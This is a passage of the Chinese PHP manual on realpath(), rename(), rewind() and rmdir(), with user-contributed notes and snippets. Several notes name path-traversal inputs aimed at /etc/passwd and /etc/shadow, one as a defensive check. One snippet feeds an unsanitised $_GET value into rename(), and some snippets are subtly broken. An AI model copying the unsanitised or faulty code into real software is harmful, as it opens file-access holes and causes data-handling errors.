当前运行的脚本必须对要处理的路径中的每层目录都具有可执行权限，否则 realpath() 将返回 false。

Note:

对于不区分大小写的文件系统，realpath() 不一定会规范字符大小写。

Note:

realpath() 函数不适用于 Phar 内的文件，因为该路径是虚拟路径，而不是真实路径。

Note:

在 Windows 上，目录的结点和符号链接仅扩展一级。

Note: 因为 PHP 的整数类型是有符号整型而且很多平台使用 32 位整型，对 2GB 以上的文件，一些文件系统函数可能返回无法预期的结果。

示例

Example #1 realpath() 例子

<?php
chdir('/var/www/');
echo realpath('./../../etc/passwd') . PHP_EOL;

echo realpath('/tmp/') . PHP_EOL;
?>

以上示例会输出：

/etc/passwd
/tmp

Example #2 Windows 上的 realpath()

在 Windows 上，realpath() 会将 unix 风格的路径改成 Windows 风格。

<?php
echo realpath('/windows/system32'), PHP_EOL;

echo realpath('C:\Program Files\\'), PHP_EOL;
?>

以上示例会输出：

C:\WINDOWS\System32
C:\Program Files

参见

  • basename() - 返回路径中的文件名部分
  • dirname() - 返回路径中的目录部分
  • pathinfo() - 返回文件路径的信息

User Contributed Notes

belisoful at icloud dot com 04-Jan-2023 06:58
Sven Arduwie answer is not tested and does not replicate the behavior of realpath but is a close solution.

This has been unit tested to be as close to realpath as possible but without the path having to actually exist in the system.

This takes relative paths and realizes them properly based on actual current working directory, but everything can be virtual. eg.  "../someVirtualDir/./virtualFile.jpg"

<?php

    public static function virtualpath($path): string
    {
        $path = str_replace(['/', '\\'], DIRECTORY_SEPARATOR, $path);
        $len = strlen($path);
        $relative = strpos($path, DIRECTORY_SEPARATOR);
        if (!$len || ($len > 0 && $path[0] == '.') || $relative !== 0) {
            $path = getcwd() . DIRECTORY_SEPARATOR . $path;
        }
        $parts = array_filter(explode(DIRECTORY_SEPARATOR, $path), 'strlen');
        $absolutes = [];
        foreach ($parts as $part) {
            if ('.' == $part) {
                continue;
            }
            if ('..' == $part) {
                array_pop($absolutes);
            } else {
                $absolutes[] = $part;
            }
        }
        return DIRECTORY_SEPARATOR . implode(DIRECTORY_SEPARATOR, $absolutes);
    }

?>
Enzo dot Barbaguelatta at alma dot cl 16-Mar-2022 06:12
Be noticed that, one of the reasons of realtpath retuning false can be if the path does not exist, or it has permission issues, or even if security modules of your operating system (let's say, SELinux for example) avoids you checking the path.

If you're like me and you had a not very good time checking why realpath retuns false, please check these points first.
moreau dot marc dot web at gmail dot com 01-Oct-2019 07:13
<?php

namespace MockingMagician\Organic\Helper;

class Path
{
    /**
     * There is a method that deal with Sven Arduwie proposal https://www.php.net/manual/en/function.realpath.php#84012
     * And runeimp at gmail dot com proposal https://www.php.net/manual/en/function.realpath.php#112367
     * @param string $path
     * @return string
     */
    public static function getAbsolute(string $path): string
    {
        // Cleaning path regarding OS
        $path = mb_ereg_replace('\\\\|/', DIRECTORY_SEPARATOR, $path, 'msr');
        // Check if path start with a separator (UNIX)
        $startWithSeparator = $path[0] === DIRECTORY_SEPARATOR;
        // Check if start with drive letter
        preg_match('/^[a-z]:/', $path, $matches);
        $startWithLetterDir = isset($matches[0]) ? $matches[0] : false;
        // Get and filter empty sub paths
        $subPaths = array_filter(explode(DIRECTORY_SEPARATOR, $path), 'mb_strlen');

        $absolutes = [];
        foreach ($subPaths as $subPath) {
            if ('.' === $subPath) {
                continue;
            }
            // if $startWithSeparator is false
            // and $startWithLetterDir
            // and (absolutes is empty or all previous values are ..)
            // save absolute cause that's a relative and we can't deal with that and just forget that we want go up
            if ('..' === $subPath
                && !$startWithSeparator
                && !$startWithLetterDir
                && empty(array_filter($absolutes, function ($value) { return !('..' === $value); }))
            ) {
                $absolutes[] = $subPath;
                continue;
            }
            if ('..' === $subPath) {
                array_pop($absolutes);
                continue;
            }
            $absolutes[] = $subPath;
        }

        return
            (($startWithSeparator ? DIRECTORY_SEPARATOR : $startWithLetterDir) ?
                $startWithLetterDir.DIRECTORY_SEPARATOR : ''
            ).implode(DIRECTORY_SEPARATOR, $absolutes);
    }

    /**
     * Examples
     *
     * echo Path::getAbsolute('/one/two/../two/./three/../../two');            =>    /one/two
     * echo Path::getAbsolute('../one/two/../two/./three/../../two');          =>    ../one/two
     * echo Path::getAbsolute('../.././../one/two/../two/./three/../../two');  =>    ../../../one/two
     * echo Path::getAbsolute('../././../one/two/../two/./three/../../two');   =>    ../../one/two
     * echo Path::getAbsolute('/../one/two/../two/./three/../../two');         =>    /one/two
     * echo Path::getAbsolute('/../../one/two/../two/./three/../../two');      =>    /one/two
     * echo Path::getAbsolute('c:\.\..\one\two\..\two\.\three\..\..\two');     =>    c:/one/two
     *
     */
}
plamen at dragiyski dot org 16-Apr-2019 02:27
realpath() is just a system/library call to actual realpath() function supported by OS. It does not work on a path as a string, but also resolves symlinks. The resulting path might significantly differs from the input even when absolute path is given. No function in this notes resolves that.

The suggestion on the realpath man page is to look for an existing parent directory. Here is an example:
<?php
    function resolvePath($path) {
        if(DIRECTORY_SEPARATOR !== '/') {
            $path = str_replace(DIRECTORY_SEPARATOR, '/', $path);
        }
        $search = explode('/', $path);
        $search = array_filter($search, function($part) {
            return $part !== '.';
        });
        $append = array();
        $match = false;
        while(count($search) > 0) {
            $match = realpath(implode('/', $search));
            if($match !== false) {
                break;
            }
            array_unshift($append, array_pop($search));
        };
        if($match === false) {
            $match = getcwd();
        }
        if(count($append) > 0) {
            $match .= DIRECTORY_SEPARATOR . implode(DIRECTORY_SEPARATOR, $append);
        }
        return $match;
    }
?>

The result will retrieve absolute path for non-existing relative path. Even if a path does not exists, there should be existing directory somewhere, for which the realpath could be obtained. If this is not within the relative path (i.e. even current working directory does not exists), getcwd() will retrieve absolute path, so some absolute path is returned (although in that case the PHP process could have huge problems).
https://stackoverflow.com/users/1397947/ 30-Aug-2017 06:38
It should probably be expressly noted that tilde expansion is not performed by realpath.
eion at robbmob dot com 06-Dec-2015 10:42
Be aware that realpath() doesn't work with hidden Windows UNC paths, eg  \\servername\share$\folder\blah.txt but other PHP file-functions can access that file fine.
Vincent Par 21-Apr-2015 01:33
Beware of relative symbolic links like this one (ext4 file system on Ubuntu) :

    vincent@vincent:~/Bureau/dirscan$ readlink sandbox/roulant/voiture/cabriolet/ln-loop-relative
    ../..

In this case, realpath may return false :

<?php
var_dump(realpath('sandbox/roulant/voiture/cabriolet/ln-loop-relative'));
// => string(44) "/home/vincent/Bureau/dirscan/sandbox/roulant"
var_dump(realpath('sandbox/roulant/voiture/cabriolet/ln-loop-relative/moto'));
// => bool(false)
?>

But you can fix it by clearing the realpath cache, this way :

<?php
var_dump(realpath('sandbox/roulant/voiture/cabriolet/ln-loop-relative'));
clearstatcache(true);
var_dump(realpath('sandbox/roulant/voiture/cabriolet/ln-loop-relative/moto'));
// => string(49) "/home/vincent/Bureau/dirscan/sandbox/roulant/moto"
?>
Leonard Challis 17-Jul-2013 07:40
When using realpath (and similar functions) remember that PHP will take in to account open_basedir restrictions. So, if you do something like:

<?php
// test.php in httpdocs folder
$path = realpath(dirname(__FILE__) . '/../application');
?>

where your open_basedir setting is set to the httpdocs folder and tmp, this will return false. You must set it to the level above (or off) for this to work.
runeimp at gmail dot com 07-Jun-2013 11:37
Needed a method to normalize a virtual path that could handle .. references that go beyond the initial folder reference. So I created the following.
<?php

function normalizePath($path)
{
    $parts = array();// Array to build a new path from the good parts
    $path = str_replace('\\', '/', $path);// Replace backslashes with forwardslashes
    $path = preg_replace('/\/+/', '/', $path);// Combine multiple slashes into a single slash
    $segments = explode('/', $path);// Collect path segments
    $test = '';// Initialize testing variable
    foreach($segments as $segment)
    {
        if($segment != '.')
        {
            $test = array_pop($parts);
            if(is_null($test))
                $parts[] = $segment;
            else if($segment == '..')
            {
                if($test == '..')
                    $parts[] = $test;

                if($test == '..' || $test == '')
                    $parts[] = $segment;
            }
            else
            {
                $parts[] = $test;
                $parts[] = $segment;
            }
        }
    }
    return implode('/', $parts);
}
?>

Will convert /path/to/test/.././..//..///..///../one/two/../three/filename
to ../../one/three/filename
Anonymous 31-May-2012 04:48
Note: If you use this to check if a file exists, it's path will be cached, and returns true even if the file is removed (use file_exists instead).
php at keith tyler dot com 18-Oct-2011 12:15
Note that under Windows, a slash-rooted path will resolve on the local drive, and *not* necessarily C:\.

For example:

M:\>php -r "print realpath('/AUTOEXEC.BAT');"
[prints nothing, because there is no M:\AUTOEXEC.BAT]

But:

M:\>C:
C:\>php -r "print realpath('/AUTOEXEC.BAT');"
C:\AUTOEXEC.BAT

Same script, different response depending on current drive.

I'm inclined to argue that this function *should* use the value of %SystemDrive% as the "slash root" base.
imagiro 21-Sep-2011 02:20
Here is a small and handy method to calculate the relative path from $from to $to. Note: On Windows it does not work when $from and $to are on different drives.

<?php
function relativePath($from, $to, $ps = DIRECTORY_SEPARATOR)
{
  $arFrom = explode($ps, rtrim($from, $ps));
  $arTo = explode($ps, rtrim($to, $ps));
  while(count($arFrom) && count($arTo) && ($arFrom[0] == $arTo[0]))
  {
    array_shift($arFrom);
    array_shift($arTo);
  }
  return str_pad("", count($arFrom) * 3, '..'.$ps).implode($ps, $arTo);
}
?>
Jrg Wagner 11-Jun-2010 12:35
Please be aware that this function does NOT always strip a trailing slash!:

LINUX (tested with PHP 5.2.11):
---
realpath('.')
: string = "/myhttpdfolder"
realpath('./')
: string = "/myhttpdfolder"
realpath('fileadmin')
: string = "/myhttpdfolder/fileadmin"
realpath('fileadmin/')
: string = "/myhttpdfolder/fileadmin"

WINDOWS (tested with PHP 5.2.5):
---
realpath('.')
: string = "C:\\myhttpdfolder"
realpath('./')
: string = "C:\\myhttpdfolder\\"
realpath('fileadmin')
: string = "C:\\myhttpdfolder\\fileadmin"
realpath('fileadmin/')
: string = "C:\\myhttpdfolder\\fileadmin\\"
Sven Arduwie 23-Jun-2008 03:43
Because realpath() does not work on files that do not
exist, I wrote a function that does.
It replaces (consecutive) occurences of / and \\ with
whatever is in DIRECTORY_SEPARATOR, and processes /. and /.. fine.
Paths returned by get_absolute_path() contain no
(back)slash at position 0 (beginning of the string) or
position -1 (ending)
<?php
    function get_absolute_path($path) {
        $path = str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $path);
        $parts = array_filter(explode(DIRECTORY_SEPARATOR, $path), 'strlen');
        $absolutes = array();
        foreach ($parts as $part) {
            if ('.' == $part) continue;
            if ('..' == $part) {
                array_pop($absolutes);
            } else {
                $absolutes[] = $part;
            }
        }
        return implode(DIRECTORY_SEPARATOR, $absolutes);
    }
?>

A test:
<?php
    var_dump(get_absolute_path('this/is/../a/./test/.///is'));
?>
Returns: string(14) "this/a/test/is"

As you can so, it also produces Yoda-speak. :)
David Beck 22-Nov-2006 07:38
Here's a function to canonicalize a URL containing relative paths. Ran into the problem when pulling links from a remote page.

<?php

function canonicalize($address)
{
    $address = explode('/', $address);
    $keys = array_keys($address, '..');

    foreach($keys AS $keypos => $key)
    {
        array_splice($address, $key - ($keypos * 2 + 1), 2);
    }

    $address = implode('/', $address);
    $address = str_replace('./', '', $address);
}

$url = 'http://www.example.com/something/../else';
echo canonicalize($url); //http://www.example.com/else

?>
Lars Scheithauer <l dot scheithauer at gmx dot de> 08-Jun-2005 10:44
This function is also nice to test for security-breaches. You can forbid the script to access files below a certain directory to prevent "../../../etc/shadow" and similar attacks:

<?php

// declare the basic directory for security reasons
// Please do NOT attach a "/"-suffix !
$basedir = '/var/www/cgi-bin/scriptfolder';

// compare the entered path with the basedir
$path_parts = pathinfo($_REQUEST['file_to_get']);
if (realpath($path_parts['dirname']) != $basedir) {
    /* appropriate action against crack-attempt*/
    die ('coding good - h4x1ng bad!');
}

?>

The url "script.php?file_to_get=../../../etc/shadow" will now result in an error.
pulstar at ig dot com dot br 20-Dec-2004 01:43
Sometimes you may need to refer to the absolute path of a file in your website instead of a relative path, but the realpath() function returns the path relative to the server's filesystem, not a path relative to your website root directory.

For example, realpath() may return something like this:

/home/yoursite/public_html/dir1/file.ext

You can't use this in an HTML document, because the web server will not find the file. To do so, you can use:

<?php

function htmlpath($relative_path) {
    $realpath=realpath($relative_path);
    $htmlpath=str_replace($_SERVER['DOCUMENT_ROOT'],'',$realpath);
    return $htmlpath;
}

echo '<img src="',htmlpath('../../relative/path/to/file.ext'),'" border=1>';

?>

It will return something like:

<img src="/dir1/relative/path/to/file.ext" border=1>


重命名一个文件或目录

  • ? realpath
  • rewind ?
  • PHP Manual
  • 文件系统函数
  • 重命名一个文件或目录

rename

(PHP 4, PHP 5, PHP 7, PHP 8)

rename — 重命名一个文件或目录

说明

rename(string $from, string $to, ?resource $context = null): bool

尝试把 from 重命名为 to，必要时会在不同目录间移动。 如果重命名文件时 to 已经存在，将会覆盖掉它。 如果重命名文件夹时 to 已经存在，本函数将导致一个警告。

参数

from

原名

Note:

用于 from 中的封装协议必须和用于 to 中的相匹配。

to

新的名字。

Note: 在 Windows 上，如果 to 已经存在，它必须是可写的。 否则 rename() 将失败，并导致 E_WARNING。

context

上下文流（context stream） resource。

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 rename() 例子

<?php
rename("/tmp/tmp_file.txt", "/home/user/login/docs/my_file.txt");
?>

参见

  • copy() - 拷贝文件
  • unlink() - 删除文件
  • move_uploaded_file() - 将上传的文件移动到新位置

User Contributed Notes

gssj85 at gmail dot com 14-Oct-2022 11:47
If you rename a file their handler metadata is still the as before.
lord dot dracon at gmail dot com 03-Jan-2018 11:14
rename() function apparently doesn't move files larger than 4 GB, even though the filesystem supports, when the operating system is 32 bits.

Tested here with PHP 5.5.9 (x86), in Linux environment (Ubuntu 14.04.5 LTS i686), with source file (60 GB RAR file) in ext4 filesystem and destination is a external HD with NTFS filesystem. Only 4 GB was copied and RAR was corrupted: "Unexpected end of archive".

Not tested if rename() can move files larger than 4 GB in 64-bit environment.
tomv 10-Mar-2017 02:31
If $oldname and $newname are existing hard links referring to the same file, then rename() does nothing, and returns a success status.
(from the underlying libc rename() manual)
On the other hand "/bin/mv oldname newname" results in the removal of "oldname".
ben at indietorrent dot org 02-Jul-2015 03:31
From the Changelog notes:

"Warnings may be generated if the destination filesystem doesn't permit chown() or chmod() system calls to be made on files — for example, if the destination filesystem is a FAT filesystem."

More explicitly, rename() may still return (bool) true, despite the warnings that result from the underlying calls to chown() or chmod(). This behavior can be misleading absent a deeper understanding of the underlying mechanics. To rename across filesystems, PHP "fakes it" by calling copy(), unlink(), chown(), and chmod() (not necessarily in that order). See PHP bug #50676 for more information.

On UNIX-like operating systems, filesystems may be mounted with an explicit uid and/or gid (for example, with mount options "uid=someuser,gid=somegroup"). Attempting to call rename() with such a destination filesystem will cause an "Operation not permitted" warning, even though the file is indeed renamed and rename() returns (bool) true.

This is not a bug. Either handle the warning as is appropriate to your use-case, or call copy() and then unlink(), which will avoid the doomed calls to chown() and chmod(), thereby eliminating the warning.
mike at mbfisher dot com 23-Jan-2015 09:31
[Editor note: this works because SplFileObject has the __toString() method which returns the file path]

Note that you can pass an SplFileInfo object as either argument:

<?php
# Assume a file 'foo' in the current directory

rename('foo', new SplFileInfo('bar'));

# foo is now bar!

rename(new SplFileInfo('bar'), 'foo');

# bar is now foo again
?>
Robert 27-Jun-2014 08:38
If you use SplFileObject for the same file which
you want to rename you have to remove SplFileObject objec first.

<?php

$filePath = 'testFile.txt';
$fileObj = new SplFileObject(  $filePath  );
rename( $filePath, 'newName.txt'  );

// You will get - Permission denied error

$filePath = 'testFile.txt';
$fileObj = new SplFileObject( 'filePath.txt' );
$fileObj = null;
rename( $filePath, 'newName.txt'  );

// and now it is working.
?>
mike 19-Dec-2013 11:35
Important note - rename() does NOT work for *directories* across filesystems or devices. Only *files*

You will get two warnings:
"PHP Warning:  rename(): The first argument to copy() function cannot be a directory in <whatever> on line <whatever>"
"PHP Warning:  rename(t2,/var/run/test/t2): Invalid cross-device link in <whatever> on line <whatever>"

The copy() mentioned I assume is C's copy() and not PHP's copy() function. There is an associated bug in the Ubuntu bug system for this as well, that was escalated to bugs.php.net:
https://bugs.php.net/bug.php?id=54097

The only workarounds right now I believe is using PHP copy($source, $dest) and then on success, PHP unlink($source), or doing system("mv $source $dest") which is hokey, and should be surrounded by quotes for paths with spaces or other shell metacharacters, and possibly escaped for security.
bcag2 at free dot fr 07-Mar-2013 03:39
on windows (XP, vista, 7...) http://fr.wikipedia.org/wiki/Windows-1252", if your file name contains accent, it doesn't work basically. So use iconv function to convert from utf-8 to cp1252 as bellow :
<?php

$nomfichierinitial=iconv("UTF-8", "CP1252", "C:\\wamp\\www\\tést.txt");
$nomfichierfinal="C:\\wamp\\www\\test.txt";
rename($nomfichierinitial, $nomfichierfinal);
?>
Martin Pelletier 05-Feb-2011 10:01
rename() is working on Linux/UNIX but not working on Windows on a directory containing a file formerly opened within the same script. The problem persists even after properly closing the file and flushing the buffer.

<?php
$fp = fopen ("./dir/ex.txt" , "r+");
$text = fread($fp, filesize("../dir/ex.txt"));
ftruncate($fp, 0);
$text2 = "some value";
fwrite ($fp,  $text2 );
fflush($fp);
fclose ($fp);
if (is_resource($fp))
    fclose($fp);
rename ("./dir", ".dir2"); // will give a ?permission denied? error
?>

Strangely it seem that the rename command is  executed BEFORE the handle closing on Windows.

Inserting a sleep() command before the renaming cures the problem.

<?php
$fp = fopen ("./dir/ex.txt" , "r+");
$text = fread($fp, filesize("../dir/ex.txt"));
ftruncate($fp, 0);
$text2 = "some value";
fwrite ($fp,  $text2 );
fflush($fp);
fclose ($fp);
if (is_resource($fp))
    fclose($fp);
sleep(1);    // this does the trick
rename ("./dir", ".dir2"); //no error
?>
andrew at 21cv dot co dot uk 15-Apr-2010 05:19
Code first, then explanation.

<?php

 rename ("/folder/file.ext", "newfile.ext");

?>

That doesn't rename the file within the folder, as you might assume, instead, it moves the file to whatever the PHP working directory is... Chances are you'll not find it in your FTP tree. Instead, use the following:

<?php

 rename ("/folder/file.ext", "/folder/newfile.ext");

?>
Morteza 10-Apr-2010 12:04
This code renames all  files and folders in a specific directory to lower case:

<?php
$path = "my_doc";

function getDirectory( $path = '.', $level = 0 ){

    $ignore = array( 'cgi-bin', '.', '..' );

    $dh = @opendir( $path );

    while( false !== ( $file = readdir( $dh ) ) )
    {
        if( !in_array( $file, $ignore ) )
        {
            $spaces = str_repeat( '&nbsp;', ( $level * 4 ) );
            if( is_dir( "$path/$file" ) )
            {
                echo "<strong>$spaces $file</strong><br />";
                rename($path."\\".$file, strtolower($path."\\".$file));
                getDirectory( "$path/$file", ($level+1) );

            }
            else {
                echo "$spaces $file<br />";
                rename($path."\\".$file, strtolower($path."\\".$file));
            }
        }
    }
    closedir( $dh );
}

getDirectory( $path , 0 )

?>
pcdinh at phpvietnam dot net 29-Jul-2009 09:10
For those who are still confused about the behavior of rename() in Linux and Windows (Windows XP) when target destination exists:

I have tested rename($oldName, $targetName) in PHP 5.3.0 and PHP 5.2.9 on both OS and find that if a file named $targetName does exist before, it will be overwritten with the content of $oldName
andrew at iwebsolutions dot co dot uk 02-Apr-2009 01:36
Note that this WILL NOT WORK if trying to rename a directory to a network share.

e.g.
rename('/home/user/me/dir1', '/mnt/shares/nfsmount/dir2')

will create a file called 'dir2' on the share and not a directory.

This caught me out and my (quickest) solution was to use an exec and mv command:

<?php
$cmd = 'mv "/home/user/me/dir1" "/mnt/shares/nfsmount/dir2"';
exec($cmd, $output, $return_val);

if ($return_val == 0) {
   echo "success";
} else {
   echo "failed";
}
?>
Whooptydoo 07-Jul-2008 09:11
If by any chance you end up with something equivalent to this:

<?php
rename('/foo/bar','/foo/bar');
?>

It returns true. It's not documented.
dev at islam-soft dot com 05-Jan-2007 04:52
- rename extension of files

changeext($directory, $ext1, $ext2, $verbose)

i wrote this function to rename the extention of some files in a folder and sub-folders inside it ..

parameter 1 :  the directory name
parameter 2 :  the first extention wich we want to replace
parameter 3 :  the new extention of files

for a simple usage call the function :
changeext('dir', 'html', 'php',  'false');

to change evry file name with extention html  into php  in the directory  dir

<?php

function changeext($directory, $ext1, $ext2, $verbose = false) {
  $num = 0;
  if($curdir = opendir($directory)) {
   while($file = readdir($curdir)) {
     if($file != '.' && $file != '..') {

       $srcfile = $directory . '/' . $file;
       $string  = "$file";
       $str     = strlen($ext1);
       $str++;
       $newfile = substr($string, 0, -$str);
       $newfile = $newfile.'.'.$ext2;
       $dstfile = $directory . '/' . $newfile;

       if (eregi("\.$ext1",$file)) { # Look at only files with a pre-defined extension
       $fileHand = fopen($srcfile, 'r');
       fclose($fileHand);
       rename($srcfile, $dstfile );
       }

       if(is_dir($srcfile)) {
         $num += changeext($srcfile, $ext1, $ext2, $verbose);
       }
     }
   }
   closedir($curdir);
  }
  return $num;
}

changeext('dir', 'html', 'php',  'false');

?>

to remove the extention of files , just leave the parameter $ext2 blank ''
Eric (Themepark.com) 03-Nov-2006 10:31
This was a fun one-- on Win XP, rename throws a "permission deined" if you try to rename across volumes.. i.e. rename("c:\windows\temp\x.txt", "g:\destination") will fail.
David Thole (root at thedarktrumpet.com) 22-Oct-2006 12:20
As of PHP 5.1.4 compiled on a mac, using rename with spaces one should just use the space.   Take for example:

rename("/tmp/somefile.tar", "/mnt/laptop storage/somefile.tar");

If you use the backslash, like if you were cd-ing to the directory, rename will fail.  Example:

rename("/tmp/somefile.tar", "/mnt/laptop\ storage/somefile.tar");

While not really a bug, it did confuse me for a little bit while working on a backup script.
PHP at Drarok dot com 08-Aug-2006 01:57
As described from the unlink() page:
You have to release any handles to the file before you can rename it (True on Windows, at least).
This will NOT work, you'll receive permission denied errors:
<?php
    $fileHand = fopen('tempFile.txt', 'r');
    rename( 'tempFile.txt', 'tempFile2.txt' ); // Permission Denied!
?>

Simply close the handle to fix this:
<?php
    $fileHand = fopen('tempFile.txt', 'r');
    fclose($fileHand);
    rename( 'tempFile.txt', 'tempFile2.txt' );
?>

This has me scratching my head for some time, as the handle was opened at the top of a marge function, and the rename was at the bottom.
php at froghh dot de 19-Jan-2006 03:00
Remark for "php at stock-consulting dot com"'s note:
This depends on the operating system.
On windows-systems you can't rename a file to an existing destination (ok, with tools you can - but they unlink the exisiting one before).
php at stock-consulting dot com 04-Jan-2006 02:36
rename() fails with PHP4 and PHP5 under Windows if the destination file exists, regardless of file permission settings. I now use a function similar to that of ddoyle [at] canadalawbook [dot] ca, which first tries rename(), checks if it returned FALSE and then uses copy()/unlink() if it failed.

However, copy() is, unlike rename(), NOT useable for "atomic updates". Another process may actually access the destination file while copy() is working. In such a case, the other process with perceive the file as empty or with incomplete content ("half written").
php-public at macfreek dot nl 18-Dec-2005 11:33
It is unclear what encoding the arguments of rename should have; For PHP 4.3, on a HFS+ filesystems, rename() did not handle UTF-8 strings, and returned an error.
tbrillon at gmail dot com 14-Sep-2005 01:27
I needed to move a file to another folder regardless if that file existed in the target already so I wrote a small piece to append a unique number to each file.

$rem = $_GET['file'];
$ticket = uniqid(rand(), true);

rename("$rem", "www/home/storefile/$ticket$rem");

the output looks like this - 6881432893ad4925a1.70147481filename.txt

This also helps if you want different versions of the file stored.
ddoyle [at] canadalawbook [dot] ca 07-Sep-2005 03:35
rename() definitely does not follow the *nix rename convention on WinXP with PHP 5.  If the $newname exists, it will return FALSE and $oldname and $newname will remain in their original state.  You can do something like this instead:

function rename_win($oldfile,$newfile) {
   if (!rename($oldfile,$newfile)) {
      if (copy ($oldfile,$newfile)) {
         unlink($oldfile);
         return TRUE;
      }
      return FALSE;
   }
   return TRUE;
}
tomfelker at gmail dot com 11-Aug-2005 02:51
Actually, I'm pretty sure that rename follows the convention of *nix rename(2) in overwriting the destination if it exists atomically (meaning that no other process will see the destination cease to exist, even for an instant).  This is useful because it allows you to build a file as a temp file, then rename it to where you want it to be, and nobody sees the file when it's half done.

Probably rename($old, $new) with an existing new was caused by permission problems.  I bet the other problems you had were the result of not calling clearstatcache(), which can cause PHP to act like a file exists though it has since been deleted.
sophie at sitadelle dot com 14-Nov-2003 08:22
Hello!
For unix/linux users: it is usefull to know that if you use rename() for a directory, the new one will be created with the current umask!
pearcec at commnav dot com 15-Jun-2001 01:17
If you rename one directory to another where the second directory exists as an empty directory it will not complain.

Not what I expected.

[pearcec@abe tmp]$ mkdir test1
[pearcec@abe tmp]$ mkdir test2
[pearcec@abe tmp]$ touch test1/test
[pearcec@abe tmp]$ php
<?php
rename("test1","test2");
?>
X-Powered-By: PHP/4.0.5
Content-type: text/html

[pearcec@abe tmp]$ ls -al
total 12
drwxr-xr-x    3 pearcec  commnav      4096 Jun 15 13:17 .
drwxr-xr-x   18 pearcec  commnav      4096 Jun 15 13:15 ..
drwxr-xr-x    2 pearcec  commnav      4096 Jun 15 13:16 test2
[pearcec@abe tmp]$ ls -la test2/
total 8
drwxr-xr-x    2 pearcec  commnav      4096 Jun 15 13:16 .
drwxr-xr-x    3 pearcec  commnav      4096 Jun 15 13:17 ..
-rw-r--r--    1 pearcec  commnav         0 Jun 15 13:16 test
[pearcec@abe tmp]$
michael-nospam at sal dot mik dot hyperlink dot net dot au 24-Nov-1999 11:43
Note, that on Unix, a rename is a beautiful way of getting atomic updates to files.

Just copy the old contents (if necessary), and write the new contents into a new file, then rename over the original file.

Any processes reading from the file will continue to do so, any processes trying to open the file while you're writing to it will get the old file (because you'll be writing to a temp file), and there is no "intermediate" time between there being a file, and there not being a file (or there being half a file).

Oh, and this only works if you have the temp file and the destination file on the same filesystem (eg. partition/hard-disk).


倒回文件指针的位置

  • ? rename
  • rmdir ?
  • PHP Manual
  • 文件系统函数
  • 倒回文件指针的位置

rewind

(PHP 4, PHP 5, PHP 7, PHP 8)

rewind — 倒回文件指针的位置

说明

rewind(resource $stream): bool

将 stream 的文件位置指针设为文件流的开头。

Note:

如果将文件以附加（"a" 或者 "a+"）模式打开，无论文件指针位置如何，写入文件的任何数据总是会被附加在后面。

参数

stream

文件指针必须合法，并且指向由 fopen() 成功打开的文件。

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 rewind() overwriting example

<?php
$handle = fopen('output.txt', 'r+');

fwrite($handle, 'Really long sentence.');
rewind($handle);
fwrite($handle, 'Foo');
rewind($handle);

echo fread($handle, filesize('output.txt'));

fclose($handle);
?>

以上示例的输出类似于：

Foolly long sentence.

参见

  • fread() - 读取文件（可安全用于二进制文件）
  • fseek() - 在文件指针中定位
  • ftell() - 返回文件指针读/写的位置
  • fwrite() - 写入文件（可安全用于二进制文件）

User Contributed Notes

MagicalTux at kinoko dot fr 26-Nov-2007 10:53
Note that rewind($fd) is exactly the same as fseek($fd, 0, SEEK_SET)

rewind() just moves the location inside the file to the beginning, nothing more. Check if your stream is "seekable" before planning to use fseek/rewind.


删除目录

  • ? rewind
  • set_file_buffer ?
  • PHP Manual
  • 文件系统函数
  • 删除目录

rmdir

(PHP 4, PHP 5, PHP 7, PHP 8)

rmdir — 删除目录

说明

rmdir(string $directory, ?resource $context = null): bool

尝试删除 directory 所指定的目录。 该目录必须是空的，而且要有相应的权限。 失败时会产生一个 E_WARNING 级别的错误。

参数

directory

目录的路径。

context

上下文流（context stream） resource。

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 rmdir() 例子

<?php
if (!is_dir('examples')) {
mkdir('examples');
}

rmdir('examples');
?>

参见

  • is_dir() - 判断给定文件名是否是一个目录
  • mkdir() - 新建目录
  • unlink() - 删除文件

User Contributed Notes

dev dot abi dot log at gmail dot com 31-Aug-2022 12:23
a simple snipped for removing empty dirs recursive :

<?php
function removeEmptyDirs($fullPath)
    {
        if(!is_dir($fullPath)){
            return;
        }

        $children = array_diff(scandir($fullPath), ['.','..']);

        foreach($children as $child){
            removeEmptyDirs($fullPath. $child. DIRECTORY_SEPARATOR);
        }

        $children = array_diff(scandir($fullPath), ['.','..']);
        if(empty($children)){
            echo "the $fullPath empty directory has been removed.\n";
            rmdir($fullPath);
        }
    }
?>
anonymous_user 12-Feb-2021 02:48
// Recursive PHP function to completely remove a directory

function delete_directory_recursively( $path ) {

      $dir = new \DirectoryIterator( $path );

      // Iterate through the subdirectories / files of the provided directory
      foreach ( $dir as $dir_info ) {

        // Exclude the . (current directory) and .. (parent directory) paths
        // from the directory iteration
        if ( ! $dir_info->isDot() ) {

          // Get the full currently iterated path
          $iterated_path = $dir_info->getPathname();

          // If the currently iterated path is a directory
          if ( $dir_info->isDir() ) {

            // which is not empty (in which case scandir returns an array of not 2 (. and ..) elements)
            if ( count( scandir( $iterated_path ) ) !== 2 ) {

              // Call the function recursively
              self::remove_directory_recursively( $iterated_path );

            } else {

              // if the currently iterated path is an empty directory, remove it
              rmdir( $iterated_path );

            }

          } elseif ( $dir_info->isFile() ) {

            // If the currently iterated path describes a file, we need to
            // delete that file
            unlink( $iterated_path );

          }

        } // loop which opens if the currently iterated directory is neither . nor ..

      } // end of iteration through directories / files of provided path

      // After iterating through the subpaths of the provided path, remove the
      // concerned path
      rmdir( $path );

    } // end of delete_directory_recursively() function definition
mmakshita2398 at gmail dot com 08-Mar-2019 08:19
it Will Delete All Fildes in folder and that folder too...

echo $path = 'D:\xampp\htdocs\New folder\New folder';

function rmdir_recursive($dir) {
    $it = new RecursiveDirectoryIterator($dir, FilesystemIterator::SKIP_DOTS);
    $it = new RecursiveIteratorIterator($it, RecursiveIteratorIterator::CHILD_FIRST);
    foreach($it as $file) {
        if ($file->isDir()) rmdir($file->getPathname());
        else unlink($file->getPathname());
    }
    rmdir($dir);
}
rmdir_recursive($path);
Anonymous 25-Sep-2016 10:44
itay at itgoldman's function falls into an infinite loop if the $src directory doesn't exist.
Here's a fix - one should do at least a file_exists() check before the loop:

function rrmdir($src) {
    if (file_exists($src)) {
        $dir = opendir($src);
        while (false !== ($file = readdir($dir))) {
            if (($file != '.') && ($file != '..')) {
                $full = $src . '/' . $file;
                if (is_dir($full)) {
                    rrmdir($full);
                } else {
                    unlink($full);
                }
            }
        }
        closedir($dir);
        rmdir($src);
    }
}

